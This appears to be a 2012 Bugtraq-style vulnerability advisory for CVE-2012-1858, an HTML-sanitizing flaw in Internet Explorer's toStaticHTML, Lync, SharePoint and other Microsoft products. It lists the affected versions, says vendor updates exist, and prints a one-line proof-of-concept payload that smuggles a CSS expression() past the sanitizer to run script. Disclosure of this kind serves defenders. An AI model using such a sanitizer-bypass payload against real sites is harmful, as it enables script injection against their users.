Microsoft Internet Explorer And Microsoft Lync HTML Sanitizing Information Disclosure Vulnerability

Bugtraq ID:	53842
Class:	Design Error
CVE:	CVE-2012-1858
Remote:	Yes
Local:	No
Published:	Jun 12 2012 12:00AM
Updated:	Jul 11 2012 03:30PM
Credit:	Adi Cohen of IBM Security Systems - Application Security
Vulnerable:	Microsoft SharePoint Server 2010 Standard Edition 0 Microsoft SharePoint Server 2010 Enterprise Edition 0 Microsoft SharePoint Server 2010 SP1 Microsoft SharePoint Foundation 2010 SP1 Microsoft SharePoint Foundation 2010 0 Microsoft Office Web Apps 2010 SP1 Microsoft Office Web Apps 2010 0 Microsoft Office Communicator 2007 R2 Microsoft Lync 2010 Attendee 0 Microsoft Lync 2010 0 Microsoft Internet Explorer 9 + Microsoft Windows 7 + Microsoft Windows 7 for 32-bit Systems SP1 + Microsoft Windows 7 for 32-bit Systems 0 + Microsoft Windows 7 for x64-based Systems SP1 + Microsoft Windows 7 for x64-based Systems 0 + Microsoft Windows 7 Home Premium - Sp1 X64 + Microsoft Windows 7 Home Premium - Sp1 X32 + Microsoft Windows Server 2008 R2 + Microsoft Windows Server 2008 for 32-bit Systems SP2 + Microsoft Windows Server 2008 for 32-bit Systems 0 + Microsoft Windows Server 2008 for x64-based Systems SP2 + Microsoft Windows Server 2008 for x64-based Systems 0 + Microsoft Windows Server 2008 R2 for x64-based Systems SP1 + Microsoft Windows Vista SP2 + Microsoft Windows Vista SP1 + Microsoft Windows Vista x64 Edition SP2 + Microsoft Windows Vista x64 Edition SP1 + Microsoft Windows Vista x64 Edition 0 Microsoft Internet Explorer 8 + Microsoft Windows 7 + Microsoft Windows 7 for 32-bit Systems SP1 + Microsoft Windows 7 for 32-bit Systems 0 + Microsoft Windows 7 for x64-based Systems SP1 + Microsoft Windows 7 for x64-based Systems 0 + Microsoft Windows 7 Home Premium 0 + Microsoft Windows 7 Home Premium - Sp1 X64 + Microsoft Windows 7 Home Premium - Sp1 X32 + Microsoft Windows Server 2008 R2 + Microsoft Windows Server 2003 Sp2 X64 + Microsoft Windows Server 2003 SP2 + Microsoft Windows Server 2003 Sp1 X64 + Microsoft Windows Server 2003 SP1 + Microsoft Windows Server 2008 R2 SP1 + Microsoft Windows Server 2008 for x64-based Systems SP2 + Microsoft Windows Server 2008 R2 x64 SP1 + Microsoft Windows Server 2008 R2 x64 0 + Microsoft Windows Server 2008 Standard Edition X64 + Microsoft Windows Server 2008 Standard Edition SP2 + Microsoft Windows Server 2008 Standard Edition 0 + Microsoft Windows Server 2008 Standard Edition - Sp2 Web + Microsoft Windows Vista SP2 + Microsoft Windows Vista SP1 + Microsoft Windows Vista Home Premium SP2 + Microsoft Windows Vista Home Premium SP1 + Microsoft Windows Vista Home Premium + Microsoft Windows Vista Home Basic SP2 + Microsoft Windows Vista Home Basic SP1 + Microsoft Windows Vista Home Basic + Microsoft Windows Vista Enterprise SP2 + Microsoft Windows Vista Enterprise SP1 + Microsoft Windows Vista Enterprise + Microsoft Windows Vista Business SP2 + Microsoft Windows Vista Business SP1 + Microsoft Windows Vista 0 + Microsoft Windows Vista Business 64-bit edition SP2 + Microsoft Windows Vista Business 64-bit edition SP1 + Microsoft Windows Vista Business 64-bit edition 0 + Microsoft Windows Vista Enterprise 64-bit edition SP2 + Microsoft Windows Vista Enterprise 64-bit edition SP1 + Microsoft Windows Vista Enterprise 64-bit edition 0 + Microsoft Windows Vista Home Basic 64-bit edition Sp2 X64 + Microsoft Windows Vista Home Basic 64-bit edition SP2 + Microsoft Windows Vista Home Basic 64-bit edition SP1 + Microsoft Windows Vista Home Basic 64-bit edition 0 + Microsoft Windows Vista Home Premium 64-bit edition SP2 + Microsoft Windows Vista Home Premium 64-bit edition SP1 + Microsoft Windows Vista Home Premium 64-bit edition 0 + Microsoft Windows XP 0 + Microsoft Windows XP Embedded SP3 + Microsoft Windows XP Embedded SP2 + Microsoft Windows XP Embedded SP1 + Microsoft Windows XP Embedded + Microsoft Windows XP Home SP3 + Microsoft Windows XP Home SP2 + Microsoft Windows XP Home SP1 + Microsoft Windows XP Home + Microsoft Windows XP Media Center Edition SP3 + Microsoft Windows XP Media Center Edition SP2 + Microsoft Windows XP Media Center Edition SP1 + Microsoft Windows XP Professional SP3 + Microsoft Windows XP Professional SP2 + Microsoft Windows XP Professional SP1 + Microsoft Windows XP Professional + Microsoft Windows XP Professional x64 Edition SP2 + Microsoft Windows XP Professional x64 Edition Microsoft InfoPath 2007 SP2 Microsoft Groove Server 2010 SP1 Microsoft Groove Server 2010 0
Not Vulnerable:

Microsoft Internet Explorer And Microsoft Lync HTML Sanitizing Information Disclosure Vulnerability

Microsoft Internet Explorer and Microsoft Lync are prone to an information-disclosure vulnerability.

Attackers can exploit this issue to obtain sensitive information that may aid in further attacks.

Microsoft Internet Explorer And Microsoft Lync HTML Sanitizing Information Disclosure Vulnerability

To exploit this issue, an attacker must entice an unsuspecting user to view a malicious webpage.

The following example code is available:

<script>document.write(toStaticHTML("<style>div{font-family:rgb('0,0,0)'''}foo');color=expression(alert(1));{}</style><div>POC</div>"))</script>

Microsoft Internet Explorer And Microsoft Lync HTML Sanitizing Information Disclosure Vulnerability

Solution:
Vendor updates are available. Please see the references for details.

Microsoft Internet Explorer And Microsoft Lync HTML Sanitizing Information Disclosure Vulnerability

References:

• Microsoft Homepage (Microsoft)
  
• Microsoft Internet Explorer Homepage (Microsoft)